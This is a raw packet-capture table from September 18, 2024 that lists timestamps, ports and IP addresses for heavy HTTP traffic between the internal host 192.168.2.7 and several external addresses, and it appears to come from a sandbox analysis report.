Sep 18, 2024 14:30:10.208878040 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208887100 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208889008 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208900928 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208909035 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208909035 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208914042 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208925962 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208937883 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208945036 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208946943 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208956957 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208972931 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208976984 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.208987951 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.208991051 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209001064 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209003925 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209017038 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209028006 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209029913 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209041119 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209053040 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209059954 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209067106 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209072113 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209079981 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209091902 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209103107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209115028 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209125042 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209126949 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209126949 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209136963 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209146976 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209150076 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209162951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209176064 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209181070 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209188938 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209194899 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209207058 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209218025 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209218025 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209218025 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209233999 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209245920 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209283113 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209283113 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209511995 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209526062 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209536076 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209547043 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209553957 CEST	49720	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:10.209553957 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209559917 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209572077 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209572077 CEST	443	49720	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:10.209583998 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209594011 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209611893 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209619999 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209619999 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209625006 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209639072 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209651947 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209662914 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209666014 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209666014 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209673882 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209686041 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209697962 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209707022 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209707022 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209712029 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209723949 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209737062 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209741116 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209748983 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209762096 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209773064 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209773064 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209779024 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209793091 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209800959 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209805012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209817886 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209831953 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209844112 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209844112 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209846973 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209853888 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209867001 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209877968 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209878922 CEST	443	49720	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:10.209887981 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209889889 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209901094 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209903002 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209913015 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209924936 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209924936 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209924936 CEST	49720	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:10.209937096 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209950924 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209953070 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209963083 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209964037 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209975958 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.209981918 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.209989071 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210000992 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210011005 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210011959 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210024118 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210036039 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210040092 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210047007 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210055113 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210059881 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210072041 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210086107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210098028 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210103035 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210103035 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210113049 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210125923 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210139036 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210139036 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210167885 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210402012 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210416079 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210427046 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210437059 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210439920 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210450888 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210463047 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210469961 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210475922 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210484982 CEST	49720	443	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:10.210486889 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210500002 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210511923 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210515976 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210522890 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210536003 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210546017 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210546017 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.210550070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210570097 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210582018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210592985 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210603952 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210617065 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210623980 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210623980 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210624933 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210630894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210661888 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210674047 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210685015 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210696936 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210701942 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210701942 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210701942 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210709095 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210720062 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210731030 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210742950 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210757017 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210757017 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210757017 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210760117 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210771084 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210777998 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210782051 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210793018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210799932 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210804939 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210818052 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210829973 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210840940 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210853100 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210865021 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210874081 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210874081 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210874081 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210876942 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210889101 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210899115 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210906982 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210911036 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210922956 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210935116 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210946083 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.210958004 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210968971 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210973024 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210973024 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210973024 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.210974932 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210985899 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210997105 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.210999966 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211009026 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.211024046 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.211035967 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.211057901 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.211077929 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.211169958 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.211203098 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.211215973 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.211230993 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.211244106 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211255074 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211258888 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.211258888 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.211266994 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211278915 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211285114 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.211294889 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211302042 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211307049 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211340904 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211340904 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211405993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211406946 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211419106 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211431026 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211441994 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211452961 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211458921 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211458921 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211466074 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211477995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211491108 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211500883 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211513042 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211519957 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211519957 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211524010 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211532116 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211535931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.211549997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.211568117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.211576939 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.211579084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.211585045 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211592913 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.211601019 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.211604118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.211616993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211620092 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.211627960 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211636066 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.211643934 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211656094 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211667061 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211679935 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211690903 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211704016 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211708069 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211708069 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211708069 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211715937 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211726904 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211738110 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211755991 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211756945 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211756945 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211766958 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211776972 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211781025 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211791992 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211802959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211813927 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211826086 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211837053 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211847067 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211854935 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211854935 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211854935 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211858034 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211870909 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211882114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211893082 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.211899996 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.211899996 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212027073 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212027073 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212203026 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212214947 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212225914 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212236881 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212250948 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212263107 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212274075 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212277889 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212277889 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212277889 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212281942 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212292910 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212305069 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212311029 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212311983 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212328911 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212341070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212352037 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212362051 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212372065 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212372065 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212372065 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212373972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212388039 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212399960 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212410927 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212421894 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212433100 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212444067 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212449074 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212449074 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212449074 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212455034 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212466002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212476969 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212482929 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212482929 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.212488890 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212503910 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212515116 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.212526083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212544918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.212548018 CEST	49703	80	192.168.2.7	176.113.115.33
